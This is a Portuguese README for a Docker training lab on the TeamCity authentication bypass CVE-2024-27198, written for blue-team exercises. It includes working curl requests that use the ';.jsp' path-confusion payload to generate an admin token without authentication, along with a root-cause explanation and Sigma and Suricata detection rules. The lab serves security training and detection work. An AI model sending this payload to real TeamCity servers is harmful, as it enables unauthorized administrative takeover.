Laboratória baseado em Docker para bypass de autenticação do TeamCity (CVE-2024-27198). Inclui reprodução de exploit, caça a IoCs com regras Sigma/Suricata e exercícios de detecção para equipe azul em treinamento de segurança.
TeamCity fornece uma página exclusiva para administradores de gerenciamento de tokens que não é protegida por autenticação. Isso permite que um usuário não autenticado gere um token de acesso para o usuário administrador se conseguir encontrar um ID de um usuário existente.
A vulnerabilidade reside no mecanismo de roteamento da API REST. Ao acrescentar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a um endpoint não autenticado, os atacantes podem enganar o servidor web do TeamCity para rotear a requisição a um endpoint autenticado enquanto contornam os filtros de segurança. Isso não requer conhecimento ou acesso prévio, tornando-o um CVSS puro de 9.8.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Acesse a instância vulnerável do TeamCity em http://localhost:8111. Acesse a instância corrigida do TeamCity em http://localhost:8112.
Username:
admin
Password:
admin
Requisição GET para um recurso sem autenticação:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Ambos devem retornar um erro com código de status 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Isso deve retornar um token como este (O token é diferente a cada vez):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Isso deve retornar um erro com código de status 401 porque a instância corrigida não possui a vulnerabilidade.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Deve retornar a lista de usuários.
Durante a demonstração no laboratório, você pode mostrar uma descoberta massiva da Equipe Azul: por padrão, esta vulnerabilidade é incrivelmente furtiva!
;.jsp não são registradas.Então como detectamos? Quando o atacante limpa seus rastros! Quando o atacante exclui seu token malicioso para se esconder, o TeamCity registra isso.
Encontre o atacante cobrindo seus rastros nos logs de auditoria:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Você verá uma entrada de log indicando que o token "REDTEAM" foi excluído).
docker compose -f docker-compose.yml down
Esta vulnerabilidade é uma instância de CWE-288: Bypass de Autenticação Usando um Caminho ou Canal Alternativo.
A falha decorre de um problema de confusão de caminho entre o servidor web Tomcat e o roteador de aplicação do TeamCity. Ao acrescentar ;.jsp e passar o endpoint da API REST alvo no parâmetro jsp=, o filtro de segurança inicial interpreta a requisição como uma requisição não autenticada a um arquivo .jsp público (o que é permitido). No entanto, o roteador interno remove o ;.jsp e encaminha a requisição para o endpoint restrito /app/rest/ sem aplicar o filtro de autenticação.
Caso de Uso Legítimo (Por que ; é permitido?):
O Tomcat usa o caractere ponto e vírgula (;) para Parâmetros Matrix. Historicamente, esse mecanismo é usado para passar parâmetros diretamente no caminho, como acrescentar JSESSIONID para manter o estado da sessão do usuário quando os cookies estão desabilitados. Esse comportamento normal e legítimo do servidor web, combinado com a validação inadequada pelo roteador de aplicação do TeamCity, é o que cria a vulnerabilidade.
Para detectar um comprometimento em andamento ou passado, as Equipes Azuis devem procurar por:
/app/rest/ mas contendo a string anômala ;.jsp na URI.teamcity-server.log): Geração inexplicada de tokens de acesso ou criação de novas contas administrativas.Como o exploit inicial é furtivo por padrão, as Equipes Azuis devem confiar na detecção das ações pós-exploração do atacante, como cobrir seus rastros. Aqui está uma regra Sigma para seu SIEM detectar exclusões suspeitas de tokens:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Para provar que esta detecção funciona, execute o script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Para detectar esta tentativa de exploração na rede, um SOC pode implementar a seguinte regra de IDS, que procura pelo padrão anômalo ;.jsp combinado com caminhos de API REST:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Para provar que a mitigação funciona, você pode lançar o mesmo payload de exploit contra o contêiner TeamCity corrigido rodando na porta 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Como o patch impõe rigorosamente a correspondência de rotas e sanitiza adequadamente os parâmetros matrix, a bypass falhará. Você deve ver uma resposta 401 Unauthorized ou 404 Not Found em vez de um token gerado.